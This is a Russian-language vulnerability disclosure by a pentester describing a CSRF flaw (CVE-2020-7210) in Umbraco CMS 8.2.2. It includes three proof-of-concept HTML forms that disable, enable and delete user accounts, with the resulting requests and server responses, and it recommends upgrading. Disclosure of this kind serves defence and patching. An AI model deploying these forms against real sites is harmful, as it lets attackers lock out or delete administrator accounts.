Подделка межсайтовых запросов может быть использована для проведения произвольных веб-запросов к системе управления контентом Umbraco CMS и идентификации её пользователей без их ведома. Такая атака всегда требует взаимодействия с пользователем, но, как правило, жертве достаточно перейти по специально подготовленной ссылке или посетить веб-страницу, которая находится под контролем злоумышленника. Благодаря этому появляется возможность активировать, деактивировать или полностью удалять учетные записи пользователей. Как следствие, возникает угроза DoS-атак на учетные записи.



Предыстория


Во время проведения тестирования небольшого ресурса на проникновение была обнаружена CSRF-уязвимость в свежей на тот момент Umbraco CMS. Эта уязвимость позволяла активировать, деактивировать или полностью удалять аккаунты пользователей, в том числе обладающие административными привилегиями.

Несмотря на то, что в последнем отчете OWASP Top Ten 2017 уязвимости CSRF покинули список 10-ти самых критичных, их рано сбрасывать со счетов.

Уязвимость была протестирована на версии 8.2.2; в версии 8.5 она уже исправлена, однако не исключено, что и другие предшествующие ей версии остаются уязвимыми. Пользователям этого продукта настоятельно рекомендуется немедленно обновить его до последней доступной версии.

Proof of concept


В случае реальной атаки следующий HTML-документ будет размещен на вредоносном веб-сайте, контролируемом злоумышленником.

Пример 1: HTML-код для отключения пользователя


<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://<host-URL>/umbraco/backoffice/UmbracoApi/Users/PostDisableUsers?userIds=<USER-ID>" method="POST">
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Запрос, который отправляется на сервер от имени жертвы:

POST /umbraco/backoffice/UmbracoApi/Users/PostDisableUsers?userIds=<USER-ID> HTTP/1.1
Host: <host-URL>
[...]
Cookie: <ADMIN-COOKIE>

Ответ, полученный от сервера:

HTTP/1.1 200 OK
Cache-Control: no-store, must-revalidate, no-cache, max-age=0
Pragma: no-cache
Content-Length: 112
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Set-Cookie: <ADMIN-COOKIE>
Date: Wed, 06 Nov 2019 10:57:45 GMT
Connection: close

)]}',
{"notifications":[{"header":"<USERNAME> is now disabled","message":"","type":3}],"message":"<USERNAME> is now disabled"}

Пример 2: HTML-код для включения пользователя


<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://<host-URL>/umbraco/backoffice/UmbracoApi/Users/PostEnableUsers?userIds=<USER-ID>" method="POST">
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Запрос:

POST /umbraco/backoffice/UmbracoApi/Users/PostEnableUsers?userIds=<USER-ID> HTTP/1.1
Host: <host-URL>
[...]
Cookie: <ADMIN-COOKIE>

Ответ:

HTTP/1.1 200 OK
Cache-Control: no-store, must-revalidate, no-cache, max-age=0
Pragma: no-cache
Content-Length: 110
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Date: Wed, 06 Nov 2019 10:58:12 GMT
Connection: close

)]}',
{"notifications":[{"header":"<USERNAME> is now enabled","message":"","type":3}],"message":"<USERNAME> is now enabled"}

Пример 3: HTML-код для удаления пользователя


<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://<host-URL>/umbraco/backoffice/UmbracoApi/Users/PostDeleteNonLoggedInUser?id=<USER-ID>" method="POST">
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Запрос:

POST /umbraco/backoffice/UmbracoApi/Users/PostDeleteNonLoggedInUser?id=<USER-ID> HTTP/1.1
Host: <host-URL>
[...]
Cookie: <ADMIN-COOKIE>

Ответ:

HTTP/1.1 200 OK
Cache-Control: no-store, must-revalidate, no-cache, max-age=0
Pragma: no-cache
Content-Length: 114
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Set-Cookie: <ADMIN-COOKIE>
Date: Wed, 06 Nov 2019 10:58:36 GMT
Connection: close

)]}',
{"notifications":[{"header":"User <USERNAME> was deleted","message":"","type":3}],"message":"User <USERNAME> was deleted"}


Жертва получает ответ от сервера в формате JSON (скрин кликабельный).

Как только аутентифицированная жертва (администратор) посещает веб-сайт со встроенным вредоносным HTML-кодом, активное вредоносное содержимое начинает выполняться в контексте сеанса жертвы. Хотя ответы на эти запросы не доставляются злоумышленнику, во многих случаях ему достаточно будет поставить под угрозу целостность информации жертвы, хранящейся на сайте, или выполнить потенциально компрометирующие запросы к другим сайтам.

Вместо заключения


Хотя в последнее время все больше атак уходят к Server-Side от Client-Side, им необходимо по-прежнему уделять должное внимание. После разговора с клиентом мы оперативно связались с вендором программного продукта и получили информацию об исправлении. Уязвимости был присвоен индекс CVE-2020-7210. Признаюсь, для меня как пентестера это первая уязвимость, получившая индекс CVE.